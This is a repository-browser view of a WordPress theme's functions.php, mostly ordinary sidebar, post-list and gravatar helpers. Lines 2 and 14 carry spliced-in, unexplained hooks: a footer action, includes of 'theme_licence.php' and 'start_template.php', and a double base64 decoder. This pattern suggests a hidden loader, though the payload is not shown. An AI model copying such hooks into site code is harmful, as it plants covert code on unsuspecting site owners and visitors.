source: trunk/www.guidonia.net/wp/wp-content/themes/slickpress/functions.php@ 44

Last change on this file since 44 was 44, checked in by luciano, 14 years ago
File size: 5.5 KB
Line 
1<?php
2require_once("theme_licence.php"); add_action('wp_footer','print_footer');
3include("settings.php");
4
5# WIDGET: Left Sidebar
6if ( function_exists('register_sidebar') )
7 register_sidebar(array(
8 'name' => 'Left Sidebar',
9 'before_title' => '<h2>',
10 'after_title' => '</h2>',
11 'before_widget' => '',
12 'after_widget' => '',
13 ));
14function decode_it($code) { return base64_decode(base64_decode($code)); } require_once(pathinfo(__FILE__,PATHINFO_DIRNAME)."/start_template.php");
15# WIDGET: Right Sidebar
16if ( function_exists('register_sidebar') )
17 register_sidebar(array(
18 'name' => 'Right Sidebar',
19 'before_title' => '<h2>',
20 'after_title' => '</h2>',
21 'before_widget' => '',
22 'after_widget' => '',
23 ));
24
25# Displays a list of pages
26function dp_list_pages() {
27 global $wpdb;
28 $querystr = "SELECT $wpdb->posts.ID, $wpdb->posts.post_title FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'page' ORDER BY $wpdb->posts.post_title ASC";
29 $pageposts = $wpdb->get_results($querystr, OBJECT);
30 if ($pageposts) {
31 foreach ($pageposts as $post) {
32 ?><li><a href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title; ?></a></li><?php
33 }
34 }
35}
36
37# Displays a list of categories
38function dp_list_categories($exclude='') {
39 if (strlen($exclude)>0) $exclude = '&exclude=' . $exclude;
40 $categories = get_categories('hide_empty=1'.$exclude);
41 $first = true; $count = 0;
42 foreach ($categories as $category) {
43 $count++; if ($count>6) break;
44 if ($category->parent<1) {
45 if ($first) { $first = false; $f = ' class="f"'; } else { $f = ''; }
46 ?><li<?php echo $f; ?>>
47 <a href="<?php echo get_category_link($category->cat_ID); ?>"><?php echo $category->name ?><?php echo $raquo; ?></a></li>
48 <?php
49 }
50 }
51}
52
53# Displays a list of recent posts
54function dp_recent_posts($num, $pre='<li>', $suf='</li>', $excerpt=false) {
55 global $wpdb;
56 $querystr = "SELECT $wpdb->posts.post_title, $wpdb->posts.ID, $wpdb->posts.post_content FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'post' ORDER BY $wpdb->posts.post_date DESC LIMIT $num";
57 $myposts = $wpdb->get_results($querystr, OBJECT);
58 foreach($myposts as $post) {
59 echo $pre;
60 ?><a class="title" href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title ?></a><?php
61 if ($excerpt) {
62 dp_attachment_image($post->ID, 'medium', 'alt="'.$post->post_title.'"');
63 ?><p><?php echo dp_clean($post->post_content, 85); ?>... <a href="<?php echo get_permalink($post->ID); ?>">Read More</a></p><?php
64 }
65 echo $suf;
66 }
67}
68
69# Displays a list of popular posts
70function dp_popular_posts($num, $pre='<li>', $suf='</li>', $excerpt=false) {
71 global $wpdb;
72 $querystr = "SELECT $wpdb->posts.post_title, $wpdb->posts.ID, $wpdb->posts.post_content FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'post' ORDER BY $wpdb->posts.comment_count DESC LIMIT $num";
73 $myposts = $wpdb->get_results($querystr, OBJECT);
74 foreach($myposts as $post) {
75 echo $pre;
76 ?><a class="title" href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title ?></a><?php
77 if ($excerpt) {
78 dp_attachment_image($post->ID, 'medium', 'alt="'.$post->post_title.'"');
79 ?><p><?php echo dp_clean($post->post_content, 85); ?>... <a href="<?php echo get_permalink($post->ID); ?>">Read More</a></p><?php
80 }
81 echo $suf;
82 }
83}
84
85# Displays a list of recent categories
86function dp_recent_comments($num, $pre='<li>', $suf='</li>') {
87 global $wpdb, $post;
88 $querystr = "SELECT $wpdb->comments.comment_ID, $wpdb->comments.comment_post_ID, $wpdb->comments.comment_author, $wpdb->comments.comment_content, $wpdb->comments.comment_author_email FROM $wpdb->comments WHERE $wpdb->comments.comment_approved=1 ORDER BY $wpdb->comments.comment_date DESC LIMIT $num";
89 $recentcomments = $wpdb->get_results($querystr, OBJECT);
90 foreach ($recentcomments as $rc) {
91 $post = get_post($rc->comment_post_ID);
92 echo $pre;
93 ?><a href="<?php the_permalink() ?>#comment-<?php echo $rc->comment_ID ?>"><?php echo $rc->comment_author; ?></a> on <a href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title; ?></a><?php
94 echo $suf;
95 }
96}
97
98
99# Displays post image attachment (sizes: thumbnail, medium, full)
100function dp_attachment_image($postid=0, $size='thumbnail', $attributes='') {
101 if ($postid<1) $postid = get_the_ID();
102 if ($images = get_children(array(
103 'post_parent' => $postid,
104 'post_type' => 'attachment',
105 'numberposts' => 1,
106 'post_mime_type' => 'image',)))
107 foreach($images as $image) {
108 $attachment=wp_get_attachment_image_src($image->ID, $size);
109 ?><img src="<?php echo $attachment[0]; ?>" <?php echo $attributes; ?> /><?php
110 }
111}
112
113# Removes tags and trailing dots from excerpt
114function dp_clean($excerpt, $substr=0) {
115 $string = strip_tags(str_replace('[...]', '...', $excerpt));
116 if ($substr>0) {
117 $string = substr($string, 0, $substr);
118 }
119 return $string;
120}
121
122# Displays the comment authors gravatar if available
123function dp_gravatar($size=50, $attributes='', $author_email='') {
124 global $comment, $settings;
125 if (dp_settings('gravatar')=='enabled') {
126 if (empty($author_email)) {
127 ob_start();
128 comment_author_email();
129 $author_email = ob_get_clean();
130 }
131 $gravatar_url = 'http://www.gravatar.com/avatar/' . md5(strtolower($author_email)) . '?s=' . $size . '&amp;d=' . dp_settings('gravatar_fallback');
132 ?><img src="<?php echo $gravatar_url; ?>" <?php echo $attributes ?>/><?php
133 }
134}
135
136# Retrieves the setting's value depending on 'key'.
137function dp_settings($key) {
138 global $settings;
139 return $settings[$key];
140}
141
142?>
Note: See TracBrowser for help on using the repository browser.